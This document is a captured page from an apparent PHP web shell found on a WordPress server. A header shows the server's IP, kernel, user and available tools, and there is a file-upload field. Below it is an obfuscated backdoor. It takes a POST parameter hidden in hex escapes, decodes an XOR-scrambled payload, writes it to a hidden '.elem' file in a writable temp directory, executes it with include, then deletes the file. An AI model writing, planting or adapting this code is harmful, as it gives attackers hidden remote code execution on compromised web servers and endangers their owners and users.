| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/wordpres/ |
Upload File : |
<?php
if(array_key_exists("p\x73e\x74", $_POST)){
$fac = $_POST["p\x73e\x74"];
$fac = explode ( "." ,$fac ) ;
$rec= '';
$s3= 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen= strlen($s3);
foreach ($fac as $s =>$v3) {$sChar= ord($s3[$s % $sLen]);
$dec= ((int)$v3 - $sChar - ($s % 10)) ^ 35;
$rec .= chr($dec);
}
$sym = array_filter(["/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir()]);
$record = 0;
do {
$key = $sym[$record] ?? null;
if ($record >= count($sym)) break;
if (array_product([is_dir($key), is_writable($key)])) {
$descriptor = join("/", [$key, ".elem"]);
$file = fopen($descriptor, 'w');
if ($file) {
fwrite($file, $rec);
fclose($file);
include $descriptor;
@unlink($descriptor);
die();
}
}
$record++;
} while (true);
}